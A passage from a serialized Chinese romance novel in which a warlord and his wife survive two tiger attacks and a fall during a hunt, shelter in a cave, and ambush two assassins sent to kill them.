“我……霸占你的床??”
所以是她自己跑过来的??
“不然呢?还能是我把你绑架来的?”晏山青面不改色,确实不想是撒谎……
江浸月磕巴了一下:“那你可以……把我赶走啊。”
晏山青哼笑:“赶得走么,你进来之后,就非要上我的床,不给上就哭,这营地人多口杂,我可不想被人说苛待发妻,只能忍了你。”
“…………”
江浸月努力回忆昨晚的事……可真的什么都想不起来……自己喝多了居然会做这么丢脸的事吗?
晏山青看她独自在那里绞尽脑汁回想,表情一会儿懊恼一会儿难堪,嘴角极不可察地弯了一下,又迅速压下,存心要逗弄她。
江浸月捕捉到他那一闪而过的笑意,更加觉得羞耻,下意识抿了抿唇,却突然感觉下唇传来一阵轻微的刺痛,她本能地伸手去摸,指尖碰到一点微肿。
晏山青目光落在她的动作上:“虽然开春了,但郊外风大干燥,夫人的嘴唇都被吹裂了。”
江浸月信以为真,小声嘀咕:“难怪有点疼……”
她只想快点离开这尴尬的境地,闷声道,“那我跟你道歉总行了吧?是我冒失了。”
“我们结婚都这么久了,夫人怎么还这么见外?”晏山青姿态慵懒地靠着床头,眼神玩味儿,“你我夫妻同床共枕,不是天经地义吗?为什么要道歉?”
他也知道他们是夫妻啊?那昨晚那个紧贴着他的女人又是怎么回事?
江浸月闷气,别开头,语气疏离:“即便是夫妻,也应该有分寸感,督军既然带了那位小美人来打猎,想必你更愿意跟她在一起,我占了你的床位,自然是我的不是。”
“哦?”晏山青挑眉,“夫人是我肚子里的蛔虫,连我想跟谁睡都一清二楚?”
这时,帐篷外传来蒋临泽的询问声:“请问督军夫人可在帐内?”
守卫回答:“在的。”
晏山青目光往外看了一眼,又重新落回江浸月身上:“原来夫人是以己度人。”
这话听在江浸月耳朵里,就是讽刺她想跟蒋临泽怎么样,她顿时觉得被侮辱了,脸色一冷,不再看他,直接下床,整理好衣物,头也不回地掀开帐篷走了出去。
晏山青眉头皱了一下,突然觉得有点躁。
·
“哥,我在这里。”
江浸月走出帐篷,跟蒋临泽打招呼。
蒋临泽先是上下打量她,见她并无异样,才松了口气:“你没事就好。我路过你的帐篷,看到门开着,里面也空着,怕你一个人外出不安全。”
江浸月揉了揉鼻子:“我……没事,就是昨晚好像喝多了,不知怎么跑到晏山青的帐篷去了。”
她说着,手指又无意识地碰了碰还有些刺痛的嘴唇。
蒋临泽注意到那个小破口,眼神略微暗了暗,而后温声道:“没事就好。今天天气不错,要一起去打猎吗?”
江浸月还没回答,穿戴整齐的晏山青也从帐篷里走了出来。
他军靴踏地,身姿笔挺,面色冷峻,目光扫过蒋临泽,语气听不出情绪:“蒋先生还是这么关心我的夫人。”
蒋临泽神色不变,迎上他的目光:“上次和督军一起打猎很是愉快,既然又碰上了,不如再来一局?”
晏山青嘴角扯出一抹没什么温度的弧度:“好啊,看看今天运气如何,能不能猎到比昨日的山羊更好的猎物,今晚也能再饱餐一顿。”
他好像话里有话。
蒋临泽转而看向江浸月,语气温和:“皎皎,要一起去么?”
江浸月摇了摇头:“你们去吧,我跟李夫人她们约好了。”
蒋临泽细心叮嘱:“那你自己小心些,子弹还够吗?”
“够的。”江浸月轻声回应,“你……们也小心。”
晏山青站在一旁,冷眼旁观他们互相关心,薄唇抿成了一条直线,周身的气压也更低了几分。
他没说什么,和蒋临泽各自上马,带着随从,朝着森林深处而去。
江浸月则先回自己的帐篷洗漱,换了一身骑马装,配好枪支,再跟李夫人等几位夫人小姐一起用了早膳。
苏拾玥蹦蹦跳跳地过来,很自来熟地坐到江浸月身边,眼睛亮晶晶的:“夫人夫人,还记得我吧?昨天被你一枪吓走的那个东湖人!你昨天那枪法太神了,是在哪学的呀?”
江浸月侧头仔细看了看她,笑道:“还没问小姐怎么称呼?”
“我叫苏拾玥!我哥是苏拾卷,就是督军身边的参谋长。”
原来是苏拾卷的妹妹……江浸月心想,该不会就是苏拾卷提过的那一位,差点被东湖那个荒淫无度、暴虐成性的恶棍强抢去当姨太的妹妹吧?
苏拾玥眼尖,注意到她腰间佩戴的手枪,那款式不像是女人会喜欢的,再一看,认了出来,这不就是晏山青的配枪吗?
她立刻恍然大悟,促狭地笑道:“哦,原来是晏督军教的啊,难怪那么厉害!”
江浸月垂眸看了一眼那支枪,没多解释,只是淡淡地笑了笑。
苏拾玥热情相邀:“那夫人,等会儿我们一起去打猎吧?我想打一只白狐狸,做条围脖,听说这山里有很多呢。”
江浸月自然地点头:“可以啊。”
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第81章 救命啊!是老虎!!
于是,吃过早饭,一群女眷,包括江浸月、苏拾悦、李夫人在内的几位夫人小姐,便说说笑笑地骑着马,也进入了森林。
等到日上三竿,苏拾卷才打着哈欠从帐篷里出来。
他环顾一圈,发现营地空了大半,随口问一个卫兵:“人都去哪儿了?”
卫兵回禀:“督军和蒋特派员一早就进山去打猎了,督军夫人和苏小姐她们后来也一起进山游玩,好像说要打一只白狐狸。”
苏拾卷揉了揉额角,嘀咕道:“都进山了?还是分头走的?”
他想起昨天跟晏山青说的老虎,这还真不是他吓唬人,而是确有其事,心里莫名咯噔了一下,有种不太好的预感。
……应该不会那么巧,真被他们这两拨人撞见吧?
·
“吼——!!”
“救命啊!是老虎!!”
林间的光线被茂密的树冠切割得斑驳陆离,一只黄黑相间的巨兽,从灌木丛中猛地窜了出来,直接挡在一群女眷面前!
刹那间,尖叫声四起!
刚才还有说有笑的夫人小姐们,顿时吓得魂飞魄散,甚至有几个胆小的直接从马背上滑了下去,瘫坐在地上哭喊。
马匹们也感受到了百兽之王的威压,惊恐地嘶鸣,焦躁不安地在原地打转。
没人想到会遇到这种事。
这里明明是给贵族们打猎游玩的山林,最多就是一些山羊、野猪,怎么会真的有凶兽?!
一片混乱中,只有江浸月迅速冷静下来,她猛地一勒缰绳,控制住受惊的马匹,同时毫不犹豫地拔出腰间配枪。
“砰!砰!”
连续开了两枪!
然而老虎动作迅捷,这两枪并没有打中,只落在它前方的空地上,溅起了泥土。
不过这枪声的威胁,也让老虎一时不敢向前。
它俯下身体,喉咙里发出威胁的咕噜声,琥珀色的眼瞳带着嗜血的凶光,紧紧盯住持枪的江浸月。
离老虎最近的是苏拾悦,刚才也是她不小心惊动了老虎,此刻距离老虎不过十几步远,小脸吓得惨白,僵在原地,不敢动弹。
老虎刚要转头去看苏拾悦,江浸月就立刻开枪,吸引老虎的注意力。
“拾悦!快过来!”
江浸月一喊,苏拾悦才猛地回神,连滚带爬地朝着李夫人那边跑去。
江浸月飞快估算了一下弹夹里的子弹,应该只剩下三四发……
如果没有枪声的威胁,这老虎肯定会暴起伤人……不能再这样僵持下去了,否则所有人都要死在这里!
江浸月当机立断,对身后乱作一团的女眷们喊道:“你们往回跑!去营地找卫兵帮忙!我来引开它!”
“夫人不可啊!”苏拾悦急声喊道。
“没时间了,快走!”
江浸月斩钉截铁,不容置疑,她对着老虎又开一枪,然后调转马头,朝着密林深处策马而去。
她那一枪似乎打中了老虎的身体,老虎受伤,但不重,只是这一下,彻底吸引了老虎的全部怒火。
它发出一声震耳欲聋的咆哮,放弃了其他目标,庞大的身躯纵身一跃,朝着江浸月逃离的方向狂追而去。
“夫人!小心啊!”身后传来李夫人她们带着哭腔的喊声。
江浸月俯低身子,紧握缰绳,催促骏马在崎岖的林间奋力奔驰,风声在耳边呼啸,但她依旧能听见老虎越来越近的脚步声。
突然!
马身猛地一颤,伴随着一声凄厉的悲鸣——老虎竟然后发先至,一个凶猛的扑跃,血盆大口狠狠咬住了马匹的后腿!
巨大的冲击力让江浸月整个人被甩飞出去,重重摔在地上,连着滚了好几圈才停下。
她浑身的骨头像散了架一般疼,但她顾不得这些,立刻抬手持枪指向老虎!
老虎咬死了那匹马,却没有去享用它,兽瞳盯住江浸月,显然是把她记恨上了,只想要她死!
它低吼一声,脚掌蹬地,带着一股腥风,朝着江浸月扑过去——
江浸月毫不犹豫地扣动扳机!
“砰!砰!咔!”
最后一下是空膛的声音——子弹打完了!
眼看那张血盆大口就要落在自己身上,浓烈的死亡气息扑面而来,江浸月甚至能闻到老虎口腔中的腥臭味!
她绝望地闭上眼睛!
千钧一发之际!
“砰!砰!”
两声几乎重叠的枪响,如同惊雷般炸开!
预想中的剧痛并没有到来,取而代之的是一声沉闷的落地声,和老虎濒死前的哀嚎。
江浸月猛地睁开眼!
只见那只凶兽在她面前轰然倒地,额头和心脏的位置各有一个血洞,正汩汩冒着血。
它四肢抽搐了几下,便不再动弹了……
她惊魂未定,倏地看向枪声的来源地!
林间零星稀疏的光线中,一道高大挺拔的身影持枪而立。
男人军装笔挺,神色冷峻,手中的猎枪还冒着缕缕青烟。
——是晏山青!
那一瞬间,江浸月好像都听不见自己的心跳声了……
只能看见他长腿阔步,一路走到自己面前,径直蹲下身,一张硬朗而英俊的脸骤然变得近在咫尺,他身上还带着淡淡的硝烟味。
“有没有事?”他眉头紧锁,嗓音紧绷。
江浸月的心跳陡然恢复,在胸腔里“怦怦”“怦怦”地剧烈跳动……却说不上来是受惊还是别的什么……
她仓皇地低下头,不知道说什么,便尝试站起来,结果左脚脚踝传来一阵钻心的疼痛,让她忍不住倒吸了一口冷气。
晏山青的目光落在她不自然弯曲的脚踝上,脸色微沉,二话不说,直接脱掉她的马靴和袜子。
原本白皙纤细的脚踝此刻红肿不堪,是摔下马时受的伤,看样子像是骨折。
“……”
这是江浸月第一次被他这样握着脚,他掌心滚烫的温度熨帖在她的皮肤上,让她有些不自在地缩了缩。
“别乱动。”晏山青低斥一声,大手握住她的小腿。
江浸月也就不敢动了。
“是骨折,乱动会加重伤势。”晏山青左右看了看,很快就找到两根粗细合适的树枝,又拔出军靴里的小刀,直接撕开自己军装的内衬布料,手法娴熟地为她固定伤处。
江浸月定定地看着他的脸,抿了抿唇,轻声说:“多谢督军的救命之恩。”
晏山青手上动作不停,头也没抬,语气听不出什么情绪:“救了你的命,就只有一句谢谢么?”
江浸月愣了一下,随即说:“那我回去给督军送钱。”
晏山青瞥了她一眼,嗤笑:“知道江三小姐家里是开银行的不缺钱,但也不必如此财大气粗。”
江浸月瘪嘴:“明明是督军先挤兑我的。”
“还有精神跟我顶嘴,看来没被老虎吓破胆。”晏山青收回目光,继续固定伤处,“听说胆子大的人招老虎,难怪这畜牲放着那么多人不追,只盯着夫人一个人咬。”
“我明明是舍生取义!”江浸月忍不住反驳,“冒险把老虎引开,救了苏小姐和李夫人她们!”
听了这话,晏山青的脸色反而一沉:“你有几条命敢这么做?还挺得意,指望我夸你吗?”
江浸月被噎住,不敢再说话了。
过了好一会儿,她才又轻声开口:“多谢督军的救命之恩。”
这句话,明显比刚才真诚了许多。
第82章 晏山青受伤了!
晏山青看了她一眼,转过身,背对着她:“上来,我背你回去。”
江浸月看着他宽厚结实的后背,犹豫了一下,她先试着自己单脚站起来,可稍微一动,脚踝就疼得她呲牙咧嘴。
“怎么,不想让我背?”晏山青侧过头,语气带着几分冷意,“那你想让谁背?你哥吗?他往另一边打猎了,一时半会回不来。你再等下去,没准有第二只老虎来吃你。”
“我不是在等我哥……”江浸月没再往下说,挪动身体,小心翼翼地趴到他背上。
当她的前胸贴上他的背脊时,两人都几不可察地顿了一下。
隔着不算厚的骑马装,江浸月能清晰地感觉到男人背部肌肉的紧实线条,和传递过来的灼热体温。
晏山青似乎也能隐约感觉到背后那柔软起伏的触感,他喉结动了一下,迅速收敛心神,若无其事地直起身,将她稳稳背起。
他走到那只已经死去的老虎面前,用军靴的脚尖踢了踢它硕大的脑袋,语气恢复平时的慵懒:
“夫人想不想要一件虎皮大氅?这皮毛看着还不错。”
江浸月看了眼刚才还凶神恶煞、此刻毫无生气的猛兽,有些畏惧地摇了摇头:“我才不要。”
晏山青低笑一声:“胆小鬼。那就给你做个垫子,铺在椅子上。”
江浸月忍不住道:“就一定得送给我吗?”
晏山青背着她,稳步朝着营地的方向走去,语气霸道:“是,我要给你的东西,你不喜欢也得收下。”
江浸月趴在他的背上,模糊听见他的心跳,小声嘟囔了一句:“独裁。”
晏山青嘴角几不可察地勾了一下。
江浸月感受着他行走时背部肌肉的轻微起伏,脸上莫名有些发热……可能是被太阳晒的吧。
林间静谧,只有晏山青沉稳的脚步声和偶尔的鸟鸣。
江浸月问:“督军怎么知道我在这边遇到老虎了?”
晏山青道:“听见你们的呼救声,过去看,苏拾玥他们说的。”
原来是这样。
江浸月还想再说什么,晏山青的脚步倏然一顿,神情忽然变得警惕起来,连背脊都绷紧了,如同察觉到危险靠近的猎豹。
江浸月感觉到他身体的变化,心头一紧,不由得压低声音问:“……怎么了?”
晏山青敏锐的目光扫过灌木丛,那儿有一阵极轻的窸窸窣窣声,若是不仔细听,几乎会被风声掩盖过去。
他鼻翼动了动,嗅到了空气中夹杂的一丝腥臭味。
晏山青将背上的女人往上拖了拖,手臂收得更紧:“你个乌鸦嘴,我们好像真的遇到了第二只老虎。”
!
江浸月的心猛地提到嗓子眼,下意识反驳:“明明是你说有第二只的,你才是乌鸦嘴。”
她紧张地四处张望,密林深处光影迷离,什么都看不见:“在哪里呢?我怎么没看见……会不会是你感觉错了?”
“不会错。”晏山青的声音冷静,“是老虎的味道。它应该是闻到同伴的血腥味,现在正躲在暗处看着我们。”
“这玩意儿记仇,知道我们手里有能杀死它的东西,所以不会贸然扑上来,而是在等待时机袭击。”
“老虎这么聪明吗?”江浸月的声音有点颤抖。
“不然呢?”晏山青想起她昨晚的样子,“你以为它是靠撒娇当上百兽之王的?”
“那、那现在怎么办啊?”
晏山青缓缓后退:“它忌惮枪,但我装子弹的袋子挂在马鞍上,这把枪里也没剩几颗子弹了,不能等它先动,得引它出来,速战速决。”
他顿了顿,沉声命令,“抱紧我,无论发生什么事都不要松手。”
“嗯!”江浸月立刻照做,双臂紧紧环住他的脖颈,双腿也尽力夹紧他的腰身,整个人完全贴合在他背上。
晏山青感觉到她的腿缠着自己的腰,低头看了一眼,脑海中掠过某些旖旎的画面……喉结轻微滚动了一下。
但也只是一闪而过而已,他依旧警惕,依旧敏锐,双手持枪,目光如炬,锁定前方那片晃动的灌木丛。
“砰!”
他毫无征兆地朝那片灌木开出一枪。
枪声落下,一道比之前那只更加庞大的黑黄巨兽,带着震耳欲聋的咆哮声,猛地从草丛中一跃而出!血盆大口直扑而来,速度快得惊人!
晏山青眼神一凛,几乎是在老虎现身的同时,就扣动扳机!
“砰!砰!”
子弹呼啸而出。
然而,老虎竟然在扑跃中以一种不可思议的迅捷猛地扭身,子弹只堪堪擦过它的前肢,爆出一捧血花,却没能击中要害。
“吼!”
受伤的老虎发出一声暴怒的咆哮,动作因为腿伤而迟钝,但眼中的凶光更甚!
晏山青和江浸月心中同时一惊!
晏山青毫不恋战,趁着老虎行动受挫的瞬间,背着江浸月转身就跑!
风声在耳边呼啸,背后的虎啸如同催命符般紧追不舍。
“这老虎不对!”晏山青一边疾跑,一边喘息着说。
“哪里不对?”江浸月紧紧搂着他,心脏狂跳。
“苏拾卷说,这山里放的都是些没什么野性、圈养惯了的老虎,给人猎着玩的。但我们遇到的这两只老虎,体型大、动作迅猛、野性十足,是实打实的野老虎。”
江浸月明白他的意思,声音发紧:“你的意思是有人弄错了,放了真老虎进来?”
“未必是弄错。”晏山青的声音带着刺骨的寒意。
就在这时,身后风声骤至,那只受伤的老虎已经追了上来,一个凶猛的扑跃,要将它们撕成碎片!
晏山青知道无论是跑还是躲,他们都不是老虎的对手,索性赌一把,他猛地刹住脚步,迅速回身、压低身体——
“砰!”
老虎从他们头顶飞过去,晏山青那一枪,近距离射入老虎的心脏,老虎庞大的身躯瞬间摔了下来!
“嗷呜——!”
老虎发出一声凄厉的惨嚎,如同一座小山般压了下来!
“啊!!”
晏山青只来得及将江浸月护在身前,两人都被这股巨大的力量撞得直接离地,如同断线的风筝般,朝着一个陡峭的斜坡滚了下去!
江浸月只觉得眼前天旋地转,身体无法自控地翻滚和撞击。
混乱中,她好似听见男人的闷哼声,但她被晏山青护在怀里,脑袋埋在他的胸膛,无法抬头去看。
不知翻滚了多久,最后一下沉重的撞击后,世界终于停止旋转,护住江浸月的那双大手也蓦地一松。
江浸月全程都被晏山青护在怀里,除了头晕目眩和一些擦伤外,并没有受太重的伤。
她抬起头,看到脸色煞白、双目紧闭、已经没有意识的晏山青,心头一紧,立刻喊:
“督军……晏山青?晏山青!”
晏山青毫无反应。
江浸月注意到他的衣服有些血色,凑近了看才发现,他后背有一道深深的三爪血痕。
第83章 丢下我,你就能替沈霁禾报仇
!江浸月的心瞬间提到了嗓子眼。
这……
这应该是被老虎一掌抓的。
他是为了保护她才受的伤。
当时她趴在他的背上,如果不是他把她护在胸前,用自己的后背去承受老虎这疯狂的一击,那这几道足以撕裂皮肉的爪痕,就会落在她身上。
还有滚落山坡的过程中,他也一直紧紧抱着她,将她圈在怀里,用自己的身体抵挡住大部分的撞击,否则她不会只受这点皮外伤。
可他为什么要这么做?
他不是还带了个娇滴滴的小美人来打猎吗?不是觉得她江浸月跟那些逢场作戏的女人没什么两样吗?
难道他也会这样不顾性命地去保护那些女人?
各种乱七八糟的念头在江浸月的脑海里翻涌,她的心情复杂至极。
她往四周看了看,这里是斜坡,很崎岖,她抿了抿唇,先将昏迷的晏山青拖到一处相对平坦舒服的草地上,然后开始检查他的伤势。
她先是搭上他的手腕,脉搏虽然有些虚弱混乱,万幸的是并无性命之忧,没有受严重的内伤。
她又解开晏山青的衣服,露出他精壮的上身,检查他的身体——除了后背那几道狰狞的抓伤外,他身上还有不少擦伤和瘀青,不过好在都是皮外伤,并不致命。
江浸月只庆幸自己留洋时学的是医,否则现在还不知道要慌成什么样。
确认晏山青没有大问题后,江浸月又将他的衣服重新穿好,做完这一切,她才感觉到自己脚踝处传来钻心的疼痛。
……差点忘了自己的脚也受伤了。
她倒吸了几口凉气,跌坐在晏山青旁边,等缓过那阵疼痛后,又去看地上的男人。
昏迷中的晏山青敛去了平时的冷戾和锋芒,眉眼在阴凉的光线下显得柔和了一些,没那么阴晴不定了。
这还是她第一次这么近距离、肆无忌惮地打量他。
这个让她既畏惧,又不得不赖以生存的男人啊……
最开始嫁给他,只是为了保住沈家和江家,但不知从什么时候开始,这个“纯粹”的念头好像有点变了样。
约莫等了一个多小时,晏山青依旧没有苏醒的迹象,江浸月心下焦急,撑着身体,忍着脚痛,在附近艰难地挪动,希望能发现寻找他们的人的踪迹。
苏拾玥和李夫人她们回去说明情况后,苏拾卷一定会派人来救他们。
然而,她在这周围转了一小圈,除了风声鸟鸣,什么都没发现。
江浸月失望地叹了口气,又回到晏山青的身边。
此刻只剩下她一个人清醒地面对这片寂静山林,她忽然想起晏山青背着她逃跑时说过的那句“未必是放错”。
如果那两只凶残野性的老虎不是意外放错,而是有人故意调换的话,那目的是什么?
害他们吗?
如果是蓄意谋害……那对方可能不会只把希望寄托在两只畜牲身上,可能还会派人来确认他们是否死亡。
这个念头让江浸月的背脊一凉。
他们现在一个昏迷,一个腿脚不便,如果真的遇到来补刀的人,岂不是任人宰割?
就在她心神不宁之际,远处隐约传来了脚步声和压低的交谈声。
江浸月心头一紧,不敢确定来的是敌是友……她当机立断,迅速扯过旁边的藤蔓和茂密的野草,尽可能地将晏山青的身形盖住。
自己则忍着疼痛,踉跄地躲到不远处的一块巨石后的灌木丛里,屏住呼吸,暗中观察。
很快,就有两个穿着黑色粗布衣服的男人出现在视野里。
他们四处张望,明显是在寻找什么,但却不像正常找人时会呼喊被寻找者的名字,他们只是安静地四处巡视,宛如潜行的毒蛇,只待寻到目标便一击致命,夺走对方的性命。
江浸月的心沉了下去,这些人绝对不是来找他们的卫兵!
那两个人从晏山青藏身的地方经过,好在草丛掩盖得好,他们没有发现,低声交谈了几句后,就朝着另一个方向搜寻而去。
直到他们的脚步声彻底消失,江浸月才敢放松下来。
风一吹,她感觉身上凉飕飕的……原来是后背已经被冷汗浸湿了。
她正准备从藏身的石头后面出来,就听见晏山青那边传来了动静。
只见他猛地掀开身上的草叶,挣扎着坐了起来,脸色苍白,声音沙哑又焦急:“江浸月?江浸月!你在哪里?!”
他醒了!
江浸月连忙应声:“我在这里!”
她一瘸一拐地从草丛后走出来。
晏山青看到她,明显松了口气。
江浸月一到他身边,他就一把攥住她的手腕,力道有些大:“你跑去哪里了?这里多危险你不知道吗!”
江浸月愣了一下,看到他眼中的急色,心底某处微微一动,解释道:“……刚才有人经过,我不知道是不是我们的人,就躲在了石头后面,没敢出来。”
“当然不是我们的人。”晏山青毫不犹豫。
江浸月:“你怎么知道不是?”
晏山青沉声:“我要是连这点儿判断力都没有,不知道死多少回了,还怎么坐到今天这个位置?”
也是。
他的警觉和洞察力远超常人,这一点她早就知道。
江浸月蹙眉:“所以真的有人故意放野老虎想要我们的性命,会是谁呢?”
晏山青动了动身体,想检查自己的伤势,但后背一动就疼得他眼前一黑。
江浸月连忙扶住他:“是被老虎抓的!伤口很深,你先别动!”
晏山青吐出一口浊气,回答她上一个问题:“是谁不确定,谁都有可能。但敢动手,就是抱着一定要我命的心思去的,不达目的,不会罢休。”
江浸月紧张:“那我们现在得赶紧去跟苏拾卷他们汇合!”
晏山青看了看四周的地形,又抬头望了望逐渐西沉的日头,摇头:“这是山的背面,距离我们的营地很远。而且我们现在都受了伤,想靠自己走过去很难。”
“那怎么办?”
“先找个相对安全的地方躲起来,等他们找过来,或者等天亮再说。”
晏山青的声音有些虚弱,但思路清晰。
于是,在这暮色四合的深山老林里,平日里高高在上的督军和夫人,变成了两个互相搀扶、狼狈前行的伤者。
江浸月杵着一根粗树枝,晏山青则忍着背后的剧痛,一手搭着她的肩,两人一步一挪,走得极其缓慢和艰难。
他们不仅要小心脚下的路,还要时刻警惕可能出现的野兽,或者那些在搜寻他们的黑衣人,步步惊心。
天色很快暗了下来。
他们找到一个不大的山洞,勉强可以容身。
江浸月又在洞口附近捡了几个能吃的野果,用袖子擦了擦,递给晏山青。
晏山青目光幽暗地看着她,突然说:“你不带着我,可以跑得更快。”
江浸月一怔:“什么?”
什么叫她不带着他?她怎么可能不带着他?
晏山青靠着山壁:“把我丢在这里,我一定会死,我死了也不会有人怀疑是你故意害的,你不就能神不知鬼不觉地替你的沈霁禾报仇么?”
“这可是千载难逢的好机会。”
第84章 他们之间的第二…第三个吻
江浸月完全没想到他会说出这样的话,愣了好一会儿,才难以置信地说:
“原来在督军眼里,我是这样的人……你刚才舍命护我,却觉得我现在会恩将仇报地丢下你自生自灭,那我岂不是连畜生都不如?”
她从而联想到,“督军也从来没相信过我吧?在西江的时候我就说过,我从来没有因为沈霁禾的死记恨过督军,原来督军一个字都不信。”
“那真是难为督军了,心里一直把我当成随时准备要你命的仇人,却还能勉强自己跟我相处。”
“哦,不对,你也没勉强自己,从西江回来后,你就没给过我好脸色,偶尔理我也是阴阳怪气的,之前我还想不通是为什么,现在总算明白了,原来是介意我啊?”
她一口气说了这么多话,话里又是委屈又是冷嘲热讽,晏山青听着她小嘴巴巴的控诉,眉头反而渐渐松开。
“你真的不恨我?”
“恨!我恨死你了!”
江浸月真没想到他会这样看待自己,她压着火气冷笑道,“多谢督军给我提供的思路,要不然我都想不到能这样对付你!”
“行,我现在就把你丢在这里,不管你是喂了老虎还是被那些人找到!”
说完她就要起身离开,每个动作都带着赌气的意味。
晏山青眼眸一暗,突然伸手抓住她的手腕,不由分说地朝自己的方向用力一拽!
江浸月重心不稳,整个人被他拽得失去平衡,摔进他的怀里,晏山青的后背也惯性地撞上石壁,他顿时闷哼一声,脸色更加苍白。
“你的伤!”江浸月本能地抓住他的肩膀,连忙抬头要去看他的后背。
晏山青看她这着急的样子,喉结一滚,突然捏住她的脸颊,直接吻了下去!
这个吻,不同于西江那次带着惩罚和怒意的侵占,也不同于昨晚酒后模糊的纠缠,他急切又深入,带着某种确认的意味。
他的舌撬开她的齿关,霸道地纠缠吸吮,仿佛要通过这个吻,将她整个人都揉进自己的身体里。
“!”
江浸月瞪大了眼睛,下意识想推开他,但掌心刚贴到他的胸膛,感受到他剧烈跳动的心脏,就想起他身上七零八落的伤,生怕自己用力会加重他的伤势,顿时就不敢动了……
晏山青自然感觉得到她从抗拒到顺从的转变。
她知道他疼。
她在心疼他。
这个认知让他喉结剧烈地滚动了一下,扣住她的后脑勺,吻得更加深入,更加缠绵,他近乎贪婪地索取着。
唇齿交缠间是野果淡淡的酸涩味,混合着他身上凛冽的气息,江浸月只觉得大脑一片空白,所有的思绪和气愤都被这个突如其来的吻搅得七零八落。
她能感觉到他灼热的呼吸喷洒在她的脸上,能听见彼此激烈的心跳声在寂静的山洞里回荡。
一种陌生得令人心悸的苏麻感,从唇齿蔓延至四肢百骸,让她浑身发软,只能无力地攀附着他的肩膀,被动地承受着这个带着说不清道不明的情感的吻。
不知过了多久,直到两人肺部的空气都快被耗尽,晏山青才喘息着松开她。
“……”江浸月趴在他的胸前,大口大口地喘着气,脸颊和耳朵都烫得惊人,心跳快得像要挣脱胸腔。
这是他们之间第二次接吻,第一次在西江充满了戾气和混乱,而这一次虽然同样激烈,却有一种仿佛确认了什么的亲密感。
她的嘴唇上还残留着被吸吮过的微肿触感,那种被强烈占有的感觉,让她心慌意乱。
晏山青低头看着怀里脸颊绯红、眼含水光、微微喘息的女人,眸色深得如同化不开的浓墨。
他调整了一下呼吸,压下身体的躁动,声音因为刚才的亲吻而格外沙哑:“靠在我身上睡一觉吧,我望风。”
江浸月小声反驳:“你伤得重,你睡才对,我望风。”
“我疼,睡不着。”晏山青言简意赅,“你睡吧,等我疼得麻木了,自己会睡。”
江浸月:“哦……”
她想要挪到另一边,离他远一点,好让自己滚烫的脸颊降降温。
“睡这里。”晏山青却抓住她的手臂,示意她枕着自己的大腿,“离我近一点,万一有事我才来得及叫醒你。”
江浸月犹豫了一下,然后小心翼翼地侧过身,将头枕在他没有受伤的那条大腿上。
她闭上眼睛,不去看他。
她强迫自己入睡,却不怎么睡得着,可能是因为所处的环境危机四伏,也可能是情绪波动得厉害,总之她闭上眼睛过了好久,都没有真正睡去。
江浸月忽然伸手摸了摸自己的嘴唇。
“怎么了?”头顶传来晏山青低沉的声音。
江浸月小声说:“没什么,就是觉得嘴唇有点痛。”
而且这种痛感还有点熟悉,好像在什么地方也经历过。
她努力地回忆着,却怎么都想不起来昨晚醉酒后那段记忆。
昏暗中,晏山青看她无意识摸着嘴唇,一副茫然的样子,嘴角勾起一抹愉悦的弧度。
笨女人。
他想着她说的不恨他,心情突然好了起来,连日来的阴霾到了这一刻才算拨开云雾见光明。
到了后半夜,身体终究是抵挡不住本能的疲惫,江浸月在晏山青腿上沉沉睡了过去。
而晏山青则一夜未眠。
他低头,借着洞口透进来的微弱月光,看着枕在自己腿上的安静睡颜,指尖轻轻抚开她脸颊边一缕碎发,用低得只有自己才能听见的声音说:
“江浸月……你最好说的是真的。”
·
第一缕天光将山谷照亮,晏山青敏锐地听见外面传来脚步声,他倏地睁开眼,眼神毫无混沌,锐利得如同鹰隼。
他屏气凝神,仔细去听外面的人声:
“找了一晚上都没找到,他们根本不在这里吧。”
“老虎死在山坡边,坡边的草又有被压倒的痕迹,从那些草倒下的方向看,他们就是滚下了山坡。再找找看吧。”
是那些搜寻他们的人。
晏山青摁了摁江浸月的肩膀,江浸月一下醒过来,刚要出声就被晏山青捂住了嘴唇。
江浸月立刻明白,是有人过来了!
第85章 晏山青许给她的诺言
这个山洞没有其他遮挡的物体,一旦有人走过来,就是一览无余。
避无可避,也就只能奉陪到底。
江浸月和晏山青对视一眼,都在对方眼中看到了一股狠劲。
晏山青眸色沉静,低下头在江浸月耳边飞快说了几句什么,江浸月眼神先是一凝,随即了然,重重点了下头。
……
还是昨晚那两个穿着黑色粗布衣服的男人,手里都拿着棍子,一边走一边拍打那些茂密的植被,找得很仔细,显然是不把他们找出来誓不罢休。
突然。
他们注意到前面一块大石头上坐着一个人——女人。
她微微仰起头,晨光勾勒出她纤细优美的脖颈线条,和精致清丽的侧脸轮廓,肌肤在光线下显得格外白皙干净,整个人透着一股落难后我见犹怜的脆弱感。
尖嘴猴腮的男人看到这一幕,眼睛都直了:“大哥,看那边,有个小娘们儿!这荒郊野岭的,怎么会有个女人在这里?”
另一个男人较为谨慎,眯起眼睛,打量这个突兀的身影,看到她身上穿着的骑马装:“蠢货!这就是跟我们在找的那个男人一起失踪的女人!她在这里,那个男人肯定也在这附近!”
但他们左看右看,周围都只有一个女人。
“没准是摔下山崖时,两人分开了。大哥,这小娘们儿长得可真漂亮啊,我从来没见过这么漂亮的女人。”
那个尖嘴猴腮的男人舔了舔嘴唇,找了一个晚上,正是又累又倦的时候,冷不丁看到这么一个秀色可餐的美人儿,几个男人能不心动?
他露出了淫邪的笑容,显然是动了龌龊的心思:“大哥,反正这里也没有外人……咱们干点什么也没人知道啊!”
另一个男人虽然心动,但是没他那么着急:“先把人找到再说,脑袋还在等我们回去复命呢!”
但那个尖嘴猴腮的男人已经起了兴致,不干点什么,哪能消得了火气?
“没事儿,就一会儿,而且我们也不是在玩乐啊,我们是在‘逼问’。小美人,跟你在一起的那个男人在哪里呀?”
他一边说着,一边走向江浸月,伸手就要摸她的脸,“你要是不告诉哥哥们,等会儿可是要吃苦头的。”
就在他的手即将碰到江浸月的脸颊的时候,一直安静坐着,不说话也不动弹的江浸月猛然抬起眼,眸底寒光乍现!
下一秒,她一直藏在袖子里的手快如闪电地刺出——那里紧握着一把晏山青给她的匕首!
“噗嗤!”
匕首精准地捅进那个尖嘴猴腮的男人的心窝,他脸上的淫笑瞬间凝固,转为极致的惊愕和痛苦,张了张嘴,却发不出任何声音,身体软软地倒下去……
另一个男人见状,脸色大变:“老三!”
谁能想到,这个看似柔弱无助的女人竟然会有如此狠辣的身手?!
他惊怒交加,立刻抽出腰间的短刀,怒吼着朝江浸月扑过去!
但他不知道,有一道身影如同鬼魅一般出现在他身后——晏山青。
